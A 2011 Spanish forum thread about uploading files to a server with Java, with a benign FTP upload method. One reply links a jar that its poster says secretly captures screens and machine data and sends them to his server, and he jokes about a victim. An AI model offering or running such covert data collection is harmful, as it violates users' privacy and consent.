Foro de elhacker.net

Programación => Java => Mensaje iniciado por: danielo- en 20 Junio 2011, 00:13 am



Título: Subir archivos a un servidor con java
Publicado por: danielo- en 20 Junio 2011, 00:13 am
Hola a todos, estoy intentando subir archivos a un servidor web utilizando java y no e tenido exito, lo e intentado con applets, usando los paquetes nativos, usando paquetes externos, intentando implementar jsp y no e tenido exito, si alguien pudiera ayudarme para hacer esto se lo agradecería mucho, llevo todo el día intentadolo =)


Título: Re: Subir archivos a un servidor con java
Publicado por: Debci en 20 Junio 2011, 07:53 am
Hola a todos, estoy intentando subir archivos a un servidor web utilizando java y no e tenido exito, lo e intentado con applets, usando los paquetes nativos, usando paquetes externos, intentando implementar jsp y no e tenido exito, si alguien pudiera ayudarme para hacer esto se lo agradecería mucho, llevo todo el día intentadolo =)
De que dispone tu servidor?
Si tiene FTP es muy sencillo, aunque si no lo tiene yo reconsideraría instalarlo.

Especificanos que es lo que cuentas y te podremos orientar.

Un saludo


Título: Re: Subir archivos a un servidor con java
Publicado por: danielo- en 21 Junio 2011, 00:56 am
Si, si tiene ftp =)...


Título: Re: Subir archivos a un servidor con java
Publicado por: 1mpuls0 en 22 Junio 2011, 05:37 am
algo como esto?

http://www.mediafire.com/?sf0os8nyo9453qb

(http://img546.imageshack.us/img546/8118/captura2011062120.jpg) (http://imageshack.us/photo/my-images/546/captura2011062120.jpg/)

Esa captura es de alguien que con mucha confianza ejecutó el test.jar

Lo que hace es capturar pantalla, obtener informacion del equipo y subirla a un servidor x LOL

Se que los .class se pueden decompilar así que no me iba a arriesgar a colocar el nombre de mi servidor xD muahahaha.


El código para subir un archivo es el siguiente.

Código
  1. public void subir(String ftpServer, String user, String password, String fileName, File source ) throws MalformedURLException, IOException {
  2.      if (ftpServer != null && fileName != null && source != null) {
  3.         StringBuffer sb = new StringBuffer( "ftp://" );
  4.         if (user != null && password != null) {
  5.            sb.append( user );
  6.            sb.append( ':' );
  7.            sb.append( password );
  8.            sb.append( '@' );
  9.         }
  10.         sb.append( ftpServer );
  11.         sb.append( '/' );
  12.         sb.append( fileName );
  13.         sb.append( ";type=i" );
  14.  
  15.         BufferedInputStream bis = null;
  16.         BufferedOutputStream bos = null;
  17.         try {
  18.            URL url = new URL( sb.toString() );
  19.            URLConnection urlc = url.openConnection();
  20.  
  21.            bos = new BufferedOutputStream( urlc.getOutputStream() );
  22.            bis = new BufferedInputStream( new FileInputStream( source ) );
  23.  
  24.            int i;
  25.            while ((i = bis.read()) != -1) {
  26.               bos.write( i );
  27.            }
  28.         }
  29.         finally {
  30.            if (bis != null)
  31.               try {
  32.                  bis.close();
  33.               }
  34.               catch (IOException ioe) {
  35.                  ioe.printStackTrace();
  36.               }
  37.            if (bos != null)
  38.               try {
  39.                  bos.close();
  40.               } catch (IOException ioe) {
  41.                  ioe.printStackTrace();
  42.                 }
  43.         }
  44.      } else {
  45.         System.out.println( "Input not available." );
  46.       }
  47.   }
  48.  


Saludos.



Título: Re: Subir archivos a un servidor con java
Publicado por: danielo- en 23 Junio 2011, 06:14 am
... Si, algo como eso, sin embargo buscaba que fuera sin usar el ftp...


Título: Re: Subir archivos a un servidor con java
Publicado por: 1mpuls0 en 23 Junio 2011, 06:51 am
... Si, algo como eso, sin embargo buscaba que fuera sin usar el ftp...

Entonces di que buscas para poder ayudarte.


Título: Re: Subir archivos a un servidor con java
Publicado por: athlit en 24 Julio 2011, 12:31 pm
Mediante sockets? Con un puerto a la escucha permanentemente (yo lo haría por FTP ya que al fin y al cabo viene a ser lo mismo).

Otra cosa que se me ocurre si no lo quieres hacerlo por FTP y tampoco quieres hacerlo por sockets, es creando un Servlet en el servidor y enviando el archivo a este Servlet. Esto requiere tener instalado un contenedor web como por ejemplo, Tomat.

Un saludo